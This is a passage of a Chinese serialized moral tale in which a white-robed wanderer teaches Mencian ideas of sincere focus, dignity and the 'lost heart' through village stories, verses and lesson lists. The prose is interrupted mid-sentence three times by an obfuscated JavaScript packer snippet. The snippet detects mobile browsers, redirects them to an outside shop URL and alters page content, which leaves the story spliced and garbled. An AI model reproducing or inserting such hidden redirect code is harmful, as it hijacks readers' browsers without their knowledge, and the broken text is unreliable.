众视之，见一白衣人，斗笠面纱，倚门而立，手中木剑轻叩门槛。 郝师蹙眉：“阁下笑什么？” 白衣人踱入，指堂上“三日成器”匾：“孟子曰：‘虽有天下易生之物也，一日暴之，十日寒之，未有能生者也。’今先生教弈三日，便期成国手，岂非‘一暴’？学生学二日半而心在鸿鹄，岂非‘十寒’？如此教学，何异于缘木求鱼？” 郝师面红：“你…你懂什么！我三日塾成才者众！” “成何才？”白衣人环视，“可是半瓶醋、浮萍根？” 此时，金专心忽起身揖道：“先生，学生…学生其实也学不进去。” 满堂皆惊。 一、 一暴十寒 金专心坦言：“学生父为盐商，逼我学弈，谓可交结官绅。我连日夜背棋谱，实则心中苦楚，常想家中账本…所谓专心，是装的。” 赵致志瞪大眼：“那你昨日赢我…” “我背得多罢了，真要实战，怕不如你。”金专心垂首。 白衣人抚掌：“这便是了！郝师，你这‘三日塾’，看似教人‘一暴’，实是助人‘十寒’——学者迫于功利，强装专心，心实不在。一旦离塾，必弃如敝履。孟子谓‘吾见亦罕矣，吾退而寒之者至矣’，今你是‘见之暴之’，你退后，‘寒之’更甚。” 郝师语塞。白衣人问二徒：“你二人真心想学弈否？” 金专心摇头，赵致志却道：“想！可我…我忍不住想射雁。” 白衣人笑：“弈道射艺，皆需专心致志。孟子举弈秋之例：‘其一人专心致志，惟弈秋之为听。一人虽听之，一心以为有鸿鹄将至，思援弓缴而射之，虽与之俱学，弗若之矣。’今你心在鸿鹄，便是未得专心之法。非你不能，是你未悟专心之道。” 他引二人至院中梧桐下：“我与你二人赌：我授专心之法，三十日后，你二人对弈，若仍不如专心，我赔你百两银。” 赵致志雀跃：“若我胜呢？” “你胜，说明专心可学；你败，说明你心真在鸿鹄，不如学射。”白衣人转问金专心，“你呢？真心想做什么？” 金专心嗫嚅：“我…我想学琴。父说我指长，宜弈，可我闻琴音则心动…” “那便学琴。”白衣人正色，“孟子谓‘为是其智弗若与？曰：非然也’，非智不若，是志不在此。今你二人，一志在琴，一志在射，强学弈，便是‘一暴十寒’。不若各从所好，专心致志。” 郝师冷笑：“依你言，天下人皆凭喜好，何来苦学成才？” “非凭喜好，是发真心。”白衣人声朗朗，“真心所向，自能专心；专心所致，自能成志。今你以三日强灌，学者无真心，便是‘一暴’，后必‘十寒’。譬如种禾，一日晒，十日冻，苗岂能生？” 言罢，木剑点地，划一圆： “一日暴兮十日寒， 苗枯根死实可怜。 但得真心向一事， 何愁金石不开穿。” 郝师拂袖而去。白衣人对二徒道：“从今日始，你二人上午学专心之法，下午金专心学琴，赵致志学射，三十日为限，如何？” 二人应诺。 二、 专心之道 白衣人授专心法，非教弈，乃教“止心”。 第一法：对弈一局，落子前须静坐三息，默念“此子为何落”。金专心初时焦躁，三日后渐静。赵致志更奇，射箭前静立三息，命中反增。 第二法：每日晨起，对镜自问“今日真心向何事”。金专心答“琴”，赵致志答“射”。 第三法：遇杂念，不强行驱，但观其来去。如赵致志习射时思弈，白衣人曰：“思弈便思弈，观此念，如观云过，莫随云去。”赵致志试之，果杂念渐少。 十日过，二人气度已变。金专心抚琴，可坐半日；赵致志射箭，百步穿杨。然对弈仍生涩，白衣人不急。 十五日，郝师暗窥，见金专心抚琴入神，赵致志射雁如戏，惊疑不定。 二十日，白衣人忽道：“今日你二人对弈一局。” 金专心一怔：“学生琴艺初成，弈道已荒…” “无妨，弈便是。”白衣人微笑。 对弈起，金专心落子缓慢，然步步扎实。赵致志反是灵动，时有妙手。终局，竟成和棋。 郝师冲入：“不可能！赵致志从前…” 白衣人截道：“从前他心在鸿鹄，今心在弈，自然不同。专心非缚于一物，是心在当下。他射箭时专心在射，弈棋时专心在弈，便是‘惟弈秋之为听’。今他虽初学，心在棋上，故能与你徒周旋。” 又对金专心道：“你亦是。你真心在琴，故抚琴时专心；今弈棋，便将抚琴之专心移来，故棋力反进。专心一道，通了百通。” 郝师怔然。白衣人问：“你可明‘一暴十寒’之害了？” 郝师垂首：“我…我误人子弟。” “非你一人之误。”白衣人叹，“今之世，多少父母师长，强子弟学其不喜，美其名曰‘为你好’。子弟装模作样‘一暴’，离了师便‘十寒’，终一事无成。此非子弟不才，是未得其真心也。” 遂在塾门题： “专心在志不在时， 一暴十寒实可悲。 但得真心向一事， 何须三日强作痴。” 题罢，郝师撕“三日成器”匾，改悬“真心致志”。 三、 弈秋之诲 三十日期至，白衣人设“三艺会”：金专心抚琴，赵致志射箭，终局对弈。 是日观者如堵。金专心奏《高山流水》，琴韵悠远，闻者落泪。赵致志百步外射香头，十发十中。众喝彩。 末了二人对弈。金专心执白，赵致志执黑。白棋厚重，黑棋轻灵。弈至中盘，赵致志忽出奇兵，金专心长考半柱香，落子化解。终局数子，金专心胜半目。 白衣人抚掌：“善！金专心胜在稳，赵致志胜在奇。你二人皆已得专心之道。” 赵致志拜问：“先生，我仍爱射雁，为何弈亦能进？” “孟子举弈秋为例，非谓必学弈，是谓学任何事，皆需专心致志。”白衣人答，“你射箭时，心在的；弈棋时，心在棋。此便是专心。专心非固守一物，是心在当下。你今射箭可专心，弈棋亦可专心，他日学文习武，皆可专心。此道一通，百事可成。” 金专心亦问：“学生从前学弈，心在账本；今学琴，心在琴。同是专心，何以异？” “前者是假专心，是强压；后者是真专心，是自然。”白衣人道，“真心所向，如水就下，不专心而自专；违心所学，如逆水行，强专心终溃。你今抚琴忘食，是真心发露，故能成。” 此时，金父、赵父皆至。金父原要斥子不务正业，闻琴音凛然，竟落泪：“我儿…我儿琴中有人。”赵父见子箭术，拍腿：“好！我赵家出神射！” 二子各得父允，从所好。 郝师对白衣人长揖：“谢先生点醒。从今我塾改‘真心塾’，不限三日，但问真心。” 白衣人还礼：“先生能改，善莫大焉。孟子叹‘吾见亦罕矣，吾退而寒之者至矣’，今先生不退，寒者自少。” 飘然欲去，众挽留。白衣人指天边雁阵：“我心在云水，不可留也。” 踏歌行： “一日暴兮十日寒， 苗枯何须怨天旱。 但得真心向一事， 金石为开鹏程宽。 专心在志不在久， 致志由心不由难。 劝君莫学三日沸， 要作百年深泉澜。” 歌声渐杳，人已不见。 四、 真心泉 郝师果改塾规，废“三日制”，立“真心斋”。学者入门，先问真心所向，再因志施教。有童爱画，允其画；有童喜算，教以数。不再强求一律。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088186|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金专心专攻琴艺，三年成名家，一曲《真心吟》，闻者忘忧。赵致志箭术通神，后从军，屡立战功，官至都尉。二人时相聚，一琴一箭，相和成趣。 景和十年，江陵大旱。金专心散家财赈灾，赵致志率兵运水。灾后，百姓感念，于三日塾旧址掘井，名“真心泉”，并立碑记其事。 碑阴刻《孟子》“一暴十寒”“弈秋诲弈”章句，碑阳铭郝师撰文： “昔有一暴师，误人以为痴。 幸有白衣客，点破真心谛。 专心不在久，致志由心契。 但得真情发，何愁事不诣。 今立此泉碑，鉴此诚与伪。 后来求学人，莫忘真心贵。” 泉成日，有白衣人现于泉边，掬水饮之，笑谓孩童： “此泉名真心， 饮之明尔志。 莫学一暴沸， 要做百年漪。” 孩童问：“如何做百年漪？” 白衣人指泉心：“泉不择地，真心不择事。你爱画，便专心画；爱算，便专心算。日日浸润，自然成漪，可泽百代。” 言罢，踏水而去，步步生莲。 自此，江陵学风大变。父母不强子弟所难，师长不责学生所短。有奇童爱雕虫，师允之，后成博物大家；有女喜机巧，父不阻，后成织造圣手。 人问其故，皆答：“真心所向，专心所致耳。” 而“真心泉”畔，常有学子静坐，对水自问： 我之真心，何在？ 尾声鹏程碑 十年后，郝师卒，门人葬之于泉西山岗。金专心、赵致志为立“鹏程碑”，记白衣人事。碑文末云： “白衣先生，不知何来。其教专心，实指真心。昔我二人，一困于利，一迷于鹄。幸得指点，各从所好。专心于琴，琴成天籁；致志于箭，箭贯云霓。此非智力殊，是真心发露耳。 今世之人，或迫于名利，或溺于习俗，强己所难，苦不堪言。愿见此碑者，静问己心：所向何处？若得真心，便专心致志，莫问鹏程远近，但求涟漪不绝。 白衣有歌：‘劝君莫学三日沸，要作百年深泉澜。’谨录于此，以警来者。” 碑成，泉声淙淙，如琴如诉。 时有游学士子过此，饮泉读碑，问乡老：“白衣人真能点人真心？” 乡老笑指泉中影：“你低头看，泉中是谁？” 士子俯观，泉中自有己影，澄澈分明。 乡老曰：“真心不在外，在你心中。白衣人只是唤你自见罢了。” 士子恍然，对泉三揖，取水一壶，珍重而去。 泉畔柳，岁岁青青。 似在说： 真心如泉，莫让它涸。 专心如流，莫让它歇。 本章诫世 一、 一暴十寒之弊 - 强学无真心，如一日暴晒十日冻，苗必枯死 - 破解法：求学先问真心，莫迫于功利虚应故事 - 示例：金专心伪专心、赵致志心在鸿鹄，皆“一暴十寒”之态 二、 专心致志之真 - 专心非固守一物，是心在当下；致志非强忍，是真心发露 - 惕世：多少人看似专心，实是“伪专心”？多少“勤奋”，是无效挣扎？ - 反思：教育之要，在启发真心，非强灌知识 三、 真心如泉之喻 - 真心如泉，涌流不息；伪心如沸，片刻即干 - 深层隐喻：人生成就，不在“暴”之猛烈，在“润”之持久 - 终极指向：找到真心所向，便是找到生命泉眼 一暴偈： 景和七年江陵秋，三日塾中起谬流。 一暴十寒苗枯死，真心致志泉长湫。 专心在志不在久，成事由心不由谋。 至今真心泉畔柳，犹拂行人问志酬。 后世叹： 大晋江陵三日塾，强教百艺成拙谋。 白衣点破真心谛，二子各从志好求。 琴成天籁因专志，箭贯云霓为致俦。 莫道世人多庸碌，不得真心空白头。 正是： 三日塾中妄授艺，一暴十寒苗枯毙。 白衣论志破迷障，二子从心各展骥。 专心在志何论久，致志由心岂拘契？ 泉碑至今映行人，真心如水长流世。 35. 本心谳 楔子嗟来食 大梁天佑三年，河间府饥。富户开粥棚赈济，有管事姓苟，名得利，立规矩：凡领粥者，须跪叩谢恩，呼“老爷万寿”。饥民为活命，多屈从。 独有一老儒，名孟义，携孙行至棚前，闻此规，转身即走。管事嗤道：“饿死事小，跪叩事大乎？”老儒回眸：“呼尔而与之，行道之人弗受。蹴尔而与之，乞人不屑也。此孟子所言。今尔等以粥挟人，与呼尔蹴尔何异？”言罢，踉跄而去。 是夜，孟义饿倒城隍庙，孙儿啼哭。忽闻脚步声，见一白衣人，斗笠面纱，携瓦罐至，内盛热粥，无声置地，转身欲走。 孟义强撑：“恩公…留步。敢问高姓？” 白衣人回首：“行道之人，何必留名。”其声清越，竟辨不出男女。 孟义泣道：“老朽宁饿死，不受嗟来食。今恩公默然施粥，是存我颜面，此恩…” “非我存你颜面，是你自存本心。”白衣人声转肃然，“孟子曰：‘一箪食，一豆羹，得之则生，弗得则死，呼尔而与之，行道之人弗受；蹴尔而与之，乞人不屑也。’你今日不受辱粥，便是存此心。我敬你，故默施。” 孟义饮粥毕，稍有气力，问：“本心人人有乎？” “有。”白衣人负手望月，“贤者能勿丧耳。然今世多少人，为一饭可跪，为万钟可屈，此谓失其本心。” 正说间，庙外人声喧哗。管事苟得利率家丁追至，指孟义骂：“老穷酸！日间辱我，夜里偷粥？” 白衣人挡前：“粥是我施，何谓偷？” 苟得利打量白衣，见其粗布木剑，嗤笑：“你施？你自身难保，还充善人！来人，拿下这厮，送官治个煽惑饥民之罪！” 家丁涌上。 一、 鱼与熊掌 白衣人不退反进，木剑未出鞘，只身形飘忽，众家丁扑空相撞，滚作一团。苟得利惊退：“你…你是妖人？” “非妖，是行道之人。”白衣人声转朗，“孟子云：‘鱼，我所欲也，熊掌，亦我所欲也；二者不可得兼，舍鱼而取熊掌者也。’今有一问：生，你所欲也；尊严，亦你所欲也。二者不可得兼，你取何？” 苟得利愣住。 “你定取生，对否？”白衣人自问自答，“因你以为，尊严可换生。然孟子又云：‘生亦我所欲，所欲有甚于生者，故不为苟得也。’此‘甚于生者’，便是本心。今你以粥挟人跪叩，是迫人舍本心以苟生。此与夺人性命何异？” 苟得利强辩：“我施粥救人，何错？” “救人无错，辱人有错。”白衣人厉声，“你非救人，是买人尊严！今饥民为生跪你，他日你为财跪官，为命跪贼，层层相迫，世道何存？” 转对众饥民：“诸位！今日为粥跪人，明日便为银跪盗，后日或为命跪匪。本心一失，层层下坠，终成行尸走肉。孟子曰‘此之谓失其本心’，便是此理！” 饥民中有壮汉名钟万，原已屈膝，闻言豁然起身，掷破碗于地：“老子宁饿死，不跪了！” 一呼百应，众饥民皆弃碗。苟得利面如土色。 白衣人取一锭银予孟义：“老丈携孙往南，三十里外有善人设棚，不辱人。” 又对苟得利道：“我今日不惩你，只问你：若有人以万两金，换你跪叩学狗吠，你跪否？” 苟得利汗出：“我…我…” “你犹豫，是因本心尚存一线。”白衣人叹，“莫等本心尽丧，悔之晚矣。” 拂袖而去，踏月行歌： “鱼与熊掌不可兼， 生与义兮孰为先？ 本心自有天平在， 莫为苟得丧尊严。” 歌声渐远，饥民皆泣。钟万对众抱拳：“诸位，咱有手有脚，何必跪求？愿随我往南山采蕨者，同去！” 百余人呼应，相扶而去。苟得独立于空棚下，粥香扑鼻，却无人至。 二、 万钟之惑 三日后，河间首富金满堂做寿，广发请帖。苟得利备厚礼往贺，欲谋管家职。至金府，见宾客盈门，贺礼堆积如山。 寿宴开，金满堂举杯：“今日老夫寿辰，有献奇珍者，赏百金！” 众客争献。有献玉佛者，有献珊瑚者。忽一人献“百寿图”，乃百名乞丐各书一寿字拼成。金满堂不悦：“乞丐手书，污我寿堂！” 献者谄笑：“此谓‘百丐贺寿’，讨个彩头。” 金满堂转怒为喜，赏二百金。 苟得利暗悔礼薄，忽生一计，出府至破庙，寻得老丐数人，许每人十文，令其明日往金府前跪拜贺寿，号“千丐来朝”。 是夜，苟得利宿客栈，梦白衣人至，厉声问：“日间闻百丐贺寿，你欲效之乎？” 苟得利惊起，见窗开月明，杳无人影，然冷汗透衣。 次日，金府前果集千丐，匍匐呼寿。金满堂大喜，重赏苟得利，擢为二管家。苟得利得意，忽瞥见丐群中有昨日庙中饥民，羞愧低头。 正此时，白衣人现于街角，木剑指向府前匾额“积善之家”，朗声诵： “万钟则不辩礼义而受之，万钟于我何加焉？为宫室之美、妻妾之奉、所识穷乏者得我与？” 诵毕，问金满堂：“金老爷，你受此‘千丐贺寿’，可辩礼义否？” 金满堂怒：“哪来的狂徒！来人！” 白衣人不理，续诵孟子文：“乡为身死而不受，今为宫室之美为之；乡为身死而不受，今为妻妾之奉为之；乡为身死而不受，今为所识穷乏者得我而为之：是亦不可以已乎？此之谓失其本心。” 转向苟得利：“苟管事，你今为管家之位，迫丐跪拜，与昔日以粥挟人跪叩，孰轻孰重？不过五十步笑百步耳！” 又对众丐：“诸位！你等今日为十文跪，明日或为五文跪。本心渐丧，终至人非人。孟子言‘非独贤者有是心也，人皆有之’，你等本心，真愿跪否？” 丐群中，一老丐颤巍巍站起，掷钱于地：“老子…老子不受这辱！” 一丐起，百丐随。顷刻间，千丐散去大半。 金满堂气急败坏，命家丁擒白衣人。白衣人长笑，木剑出鞘，不击人，只点地。青石板上火星四溅，现出十六字： “万钟何加，宫室何美？ 本心一失，人不如鬼。” 写罢，纵身上檐，歌曰： “生亦所欲义更珍， 死亦所恶辱尤深。 莫为万钟丧本心， 留取清气满乾坤。” 歌绝人杳。 金满堂怔立，忽觉贺寿喧哗，索然无味。 苟得利怀揣赏银，如握烙铁。 三、 乡与今 旬日后，河间知府设“劝善宴”，邀士绅捐银修桥。金满堂为博官声，捐五千两，知府亲题“乐善好施”匾。 宴中，有书生名文守义，献《拒金赋》，叙古时贤者拒贿事。知府不悦：“今太平盛世，何来贿事？扫兴！” 金满堂会意，讽道：“文秀才清高，然令堂卧病，无钱抓药，清高可治病否？” 文守义面红，强道：“君子固穷…” “穷且益坚？”金满堂冷笑，取百两银票拍案，“此银赠你抓药，只需你当众诵《贺知府德政颂》，可愿？” 满堂寂然。文守义望银票，手颤。母病重，等银救命。 忽闻梁上有人叹：“乡为身死而不受，今为…唉。” 众惊视，见白衣人坐梁间，不知何时而至。 知府拍案：“又是你！” 白衣人跃下，径至文守义前：“文兄，昔日饿倒不受嗟来食，今可愿诵谀词受百金？” 文守义垂首：“我…我…” “我知你难。”白衣人声转温和，“孟子设此问，非责常人，是醒常人。‘乡为身死而不受’，谓人本有廉耻心；‘今为宫室之美、妻妾之奉、所识穷乏者得我而为之’，谓人渐失本心。今你为母病受金，情有可原，然需自问：受金之后，可会为更多金，作更多违心之事？此端一开，如堤溃蚁穴，终至本心尽丧。” 文守义泪下：“先生教我！” 白衣人自袖中取一锭银：“此银赠你，不附条件，但望你母安康。然那百两谀词银，不可受。因今日受百两诵谀词，明日或受千两作伪证，后日或受万两害人命。本心之失，常自‘不得已’始。” 文守义拜受，掷还金满堂银票：“学生宁穷，不受此银！” 金满堂恼羞成怒：“知府大人！此妖人惑众，当拿下！” 知府正要发话，白衣人忽直视其目：“大人，三年前你任知县时，有百姓赠‘明镜高悬’匾，你悬于堂上。今可还常对匾自省？” 知府一震，汗出如浆——彼时他确清廉，今则… 白衣人朗声道：“诸公！孟子之言，如暮鼓晨钟。非责你等已失本心，是唤你等将失未失之本心。金满堂，你可记得第一桶金如何得来？苟得利，你可记得首次屈膝是何感受？知府大人，你可记得初仕时抱负？” 三人皆色变。 “记不得无妨。”白衣人叹，“只怕不愿记，不敢记。本心非一次尽丧，是次次妥协，点点磨损。今日宴饮，诸公不妨自问：昔年寒窗时、落魄时、初志时，与今相比，本心剩几许？” 满堂权贵，竟无人应。 白衣人掷一纸于地，飘然而出。纸上有诗： “鱼熊自古难兼得， 生死原来有重轻。 万钟易夺志士节， 一饭能显丈夫贞。 乡为身死全洁义， 今因利诱竟折肱。 劝君常拂心台镜， 莫使尘埃蔽月明。” 宴遂不欢而散。 是夜，知府独坐书房，对“明镜高悬”旧匾，坐至天明。 四、 勿丧耳 文守义母病愈后，设蒙馆教书，束脩随缘，贫者免费。一日，有富家子来学，遗金袋于馆。文守义追还，富家子疑：“内百两，少否？”文守义正色：“非但未少，还多二两，可是你记错？”富家子赧然，拜服。 此事传开，蒙馆生员日增。文守义每授课，必讲“本心”，曰：“富贵不能淫，贫贱不能移，非独圣贤可至，常人持守本心，亦可庶几。” 忽忽三载，河间大旱，蝗灾继之。金满堂囤粮居奇，价翻十倍。饥民聚其仓前，哭嚎震天。 金满堂命家丁放弩，僵持间，白衣人忽现粮垛上，朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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今立此泉，非颂白衣，乃警世人：本心如泉，人皆有之。然利欲如沙，日积月累，可塞泉眼。愿汲泉者，自问本心：昔年初心何在？今日可曾蒙尘？ 孟子曰‘贤者能勿丧耳’，我辈虽非贤者，然常拂拭，或可不丧。泉涌不息，本心长明。” 泉成日，有白衣人现，掬饮讫，问文守义：“今时今日，若再有嗟来之食，你受否？” 文守义揖：“不受。然学生当效先生，默施于人，存人体面。” “善。”白衣人颔首，“本心非仅不受，亦在不施辱。你已得之。” 又问围观童子：“若你饥，一人呼尔而与之食，一人默置食而去，你取何？” 童答：“取默置者。” “为何？” “呼尔者辱我，默置者敬我。” 白衣人抚掌大笑：“童心即本心！诸君，莫忘此童子言。” 踏歌而去： “鱼熊生死义利间， 本心自有秤一杆。 万钟可夺俗子志， 一饭能显丈夫肝。 常拂尘埃见明月， 莫使利欲障青山。 泉涌千年犹清澈， 照人肝胆照人丹。” 自此，河间有俗：凡有争讼，长者先问“可对得起本心泉”；凡有义举，乡誉“不负本心泉”。 泉畔杨柳，岁岁青青。 时有游子归乡，先至泉边，饮一口，问一句： 我之本心，可还清澈？ 本章诫世 一、 取舍见本心 - 鱼与熊掌、生与义之择，显本心轻重 - 破解法：遇两难时，莫只看眼前得失，要问本心“孰重” - 示例：孟义宁饿死不受辱，文守义宁贫不受谀金，皆存本心 二、 渐丧之危 - 本心非一时尽失，是次次妥协中渐丧 - 惕世：多少“不得已”，实是丧心之始？多少“小妥协”，终成大溃堤？ - 反思：回望初心，与今相比，本心剩几许？ 三、 勿丧之道 - 贤者能勿丧，常人当常拂拭 - 深层隐喻：本心如镜，需勤拂拭；如泉，需常疏浚 - 终极指向：人人皆有本心，重在“勿丧”功夫 本心偈： 天佑三年河间饥，嗟来食前现白衣。 鱼熊生死明取舍，万钟得失辨毫厘。 乡为身死全洁志，今因利诱竟折仪。 至今本心泉畔月，犹照行人浣尘缁。 后世叹： 大梁河间逢凶年，富户施粥辱在前。 白衣论心醒众寐，孟生守义全其坚。 万钟易夺俗子志，一饭能彰丈夫肝。 莫道本心贤者独，常人拂拭亦朗然。 正是： 河间饥岁粥棚开，跪叩方得米一粒。 白衣振聋论本心，灾民掷碗全其义。 鱼熊取舍见轻重，生死抉择显端倪。 至今泉涌清如许，长教行人浣尘衣。 36. 放心谳 楔子丢鸡记 大凉乾元二年，洛州有富户朱守财，晨起失鸡，阖府翻找，三进院落掘地三尺。至午，鸡自后院柴垛出，朱守财抚鸡喜极：“失而复得，幸甚！” 是夜，朱府宴客庆贺。席间有老儒叹：“朱公重一鸡，轻一心，可叹也。”朱守财不悦：“先生何出此言？” 老儒曰：“孟子云：‘人有鸡犬放，则知求之；有放心而不知求。’今公鸡失而知求，心失久矣，可曾求乎？” 满座愕然。朱守财拍案：“我心在此，何曾失？” 忽闻梁上有人轻笑：“心在否，扪心自知。” 众惊视，见一白衣人斜倚梁间，斗笠面纱，木剑横膝，不知何时而至。 一、 求鸡与求心 朱守财怒道：“阁下何人？竟效鼠辈潜梁！” 白衣人飘然下地，点尘不惊：“行道之人。适才闻孟子语，心有所感，特来一问：朱公寻鸡，遣仆几人？” “十人！” “费时几何？” “半日！” “若寻心，当遣几人？费时几何？” 朱守财语塞。白衣人踱步堂中，朗声道： “孟子曰：‘仁，人心也；义，人路也。’今观朱公，心在何处？可是在算盘珠上，在田契账册中，在金银窖藏里？此非心，是心外之物。真心安在？” 朱守财强辩：“我…我仁心常在！上月还施粥…” “施粥时，心在粥棚，还是心在‘乐善好施’名？”白衣人截道，“孟子谓‘舍其路而弗由，放其心而不知求’，公舍仁义之路不由，放仁心而不求，却为失鸡大动干戈。此非本末倒置？” 一客起身揖问：“敢问先生，心如何放？又如何求？” 白衣人指堂外月：“诸公请看，鸡犬放，在柴垛，在街巷，有形可寻。心放，在何处？” 众皆茫然。 “心放，在名利场，在是非堆，在得失计较中。”白衣人声转清越，“鸡犬放外，身不安；心放外，神不守。今朱公坐拥万金，可曾夜半自问：我为何喜？为何忧？喜忧为外物所牵，便是心放于外。孟子言‘学问之道无他，求其放心而已’，谓学问不在穷经，在将放逸之心收回本位。” 朱守财冷汗涔涔，跌坐椅中。 二、 三放心 白衣人邀众至庭中，指月下三物： “今效孟子，设三喻，明‘放心’之状。” 其一，指金鱼缸：“此缸中鱼，朱公以珍珠粟米饲之。鱼终日绕缸，争食嬉戏，以为天下尽在缸中。此是放心于‘安逸享乐’，忘江河之广。” 其二，指账房窗：“窗内算盘声日夜不绝。朱公心在锱铢，毫厘必较。此是放心于‘得失利害’，忘仁义之本。” 其三，指门前石狮：“石狮威严，朱公出入见之，自觉体面。此是放心于‘虚名浮誉’，忘赤子之心。” 言罢，问朱守财：“三放心，公占几样？” 朱守财颤声：“三…三样俱全。” “既知放心，当知求心。”白衣人自怀中取一铜镜，“此镜名‘鉴心’，公可自照。” 朱守财对镜，初时只见己面，渐觉镜中影模糊，竟现种种过往：少年时拾金不昧，还人钱袋；壮年时为三厘利，逼死佃户；上月施粥，心中算计“可抵税银”… “啊呀！”镜脱手，碎作数片。朱守财掩面泣：“我…我心竟如此污浊！” 白衣人拾碎片，拼凑成圆：“镜碎可圆，心放可收。公今知放心，便是求心之始。” 又对众客：“诸位可愿自查？” 有客讪讪退，有客垂首。唯老儒上前：“老朽…亦有放心处。放心于诗词虚文，忘日用伦常。” 白衣人颔首：“能知便是求。今夜月明，诸公何不暂放外物，静坐片刻，问心在何处？” 满庭三十余人，竟真各寻角落，默然静坐。唯闻虫鸣风吟。 一炷香后，朱守财睁眼，泪流满面：“我…我见十岁时，父教我‘做人要心安’。今几十年，何曾安过？” 白衣人温言：“心放久矣，求之非一日功。公愿从今日始，每日静坐求心否？” “愿！” 三、 求放心 白衣人留洛州七日，开“求心草堂”，不授经，不讲课，只教“求放心”三字。来者不问身份，皆可入坐。 第一日，来三十人。白衣人教“静坐观心”：闭目，不想过去，不思未来，只观此刻呼吸。有富商坐片刻即躁：“不想生意，心慌！”白衣人曰：“此正是心放于生意。且观此慌，从何起，往何去。” 第二日，来五十人。有衙役坐中频顾腰牌，白衣人问：“心在牌否？”衙役赧然：“总想缉盗立功。”白衣人曰：“心放于功，则见人皆盗。收心回腔，方见人皆人。” 第三日，来百人。有寡妇泣诉：“心放亡夫，日夜煎熬。”白衣人道：“心放于过去，如舟系枯桩。非不让念，是莫为念所缚。且观此念，如云过天，不拒不随。” 至第七日，草堂内外坐满三百人。朱守财忽起身，对众长揖：“诸君，我有一事忏悔。去岁城南王二欠租，我夺其田，致其自尽。我放心于利，害人性命。今愿还田于其子，并偿百金。” 满场肃然。王二子恰在座，闻言大哭，竟扶起朱守财：“朱公既悔，我父可瞑目矣。” 又有多人起而忏悔：有书生认冒名文，有商贾认以次充好，有胥吏认索贿刁难…草堂竟成“悔心堂”。 白衣人叹道：“诸君能悔，便是求心。孟子言‘求其放心’，非求外物，是求回本心。本心在，仁自在，义自行。” 取木剑，于草堂土墙刻： “鸡犬放外尚知求， 心放利名不知收。 但得片刻回光照， 便是人间第一流。” 刻罢，对众一揖：“诸君已得求心之法，可自修持。我当去矣。” 众挽留。白衣人指心：“我在诸君心中，莫向外寻。” 飘然出城。 四、 草堂薪传 白衣人去后，朱守财真还田赔金，散家财之半设“求心义仓”，荒年借贷，丰年偿还，不收利息。又改宅邸为“求心草堂”，容人静坐。 王二子感其诚，助管义仓，后成洛州善人。 那老儒号“悔庵居士”，长住草堂，撰《求心录》，记忏悔事百余则，中有警句： “求放心，如牧羊。 羊放山坡，易逐草远； 心放欲海，易随波逝。 牧羊者时时点数， 求心者刻刻回光。” 草堂渐成风气。每逢朔望，士农商贾皆来静坐，半日不语，但求放心。有顽童问：“静坐何用？”守堂叟答：“如磨镜。镜蒙尘，照物不清；心蒙尘，行事皆昏。静坐是磨心镜，磨得清明，自见仁义。” 乾元五年，洛州大疫。草堂人皆出，施药施粥，不避疫秽。有问：“不怕死乎？”答：“心在救人，何暇怕死？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088188|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”疫过，草堂无人染病，人皆称奇。 朱守财寿终，遗命薄葬，墓碑只刻“求心人”三字。送葬者数千，皆白衣静默，不哭不喧，但合十心送。路人叹：“此真求心之效。” 尾声心灯碑 又十年，草堂老儒卒。门人于堂前立“心灯碑”，刻孟子“求放心”章句。碑阴有跋： “昔有白衣客，振聋发聩，教人求放心。朱公首倡，悔庵继之，洛州风气为之一变。今立此碑，非颂其人，乃警来者：鸡犬放，不过失财；放心放，则失人本。 学问之道，在求放心；处世之道，在安此心。愿见碑者，每日自问：心在否？放何处？可求回否？ 但得一念回光，便是心灯复明。” 碑成夜，有童子见白衣人立碑前，以手抚字，轻笑：“善。” 童子问：“先生，心可永不放乎？” 白衣人答：“心非木石，焉能不动？然放则知，知则求，求则回。如灯被风拂，明灭不已，然灯芯在，终可复燃。但莫让风大熄芯，便是功夫。” 又指碑上“求”字：“此字最要。不因放过而馁，但因求回而勇。千古圣贤，不过是个肯回头、肯求心的常人。” 言罢，踏月而去。童子追出，唯见碑上月影，澄澈如水。 自此，洛州人家，多悬“求心”字幅。有子弟远行，父母不嘱“发财”，但嘱“求心”；有友朋相聚，不劝酒，但劝“回光”。 时有游学士子过洛州，见满城清肃，问乡老：“此地无讼狱乎？” 乡老笑指心灯碑：“有讼，先求心。心平了，讼自息。” 士子叹服，临行掬“心灯井”水一壶，曰：“归乡若迷，饮此水，或可求心。” 井水甘冽，至今不竭。 似在说： 心放了，不怕。 怕的是，放了不知，知了不求。 求，便是回家的路。 本章诫世 一、 鸡心之喻 - 人重失鸡，轻放心，是本末颠倒 - 破解法：遇事焦躁时，先自问“心放何处”，莫只外求 - 示例：朱守财大张旗鼓寻鸡，对放心数十年浑噩不觉 二、 放心之态 - 放心于安逸、得失、虚名，皆失本心 - 惕世：多少忙碌，实是“放心”奔逐？多少焦虑，实是“心放”难收？ - 反思：终日外求，可曾片刻内观？ 三、 求心之功 - 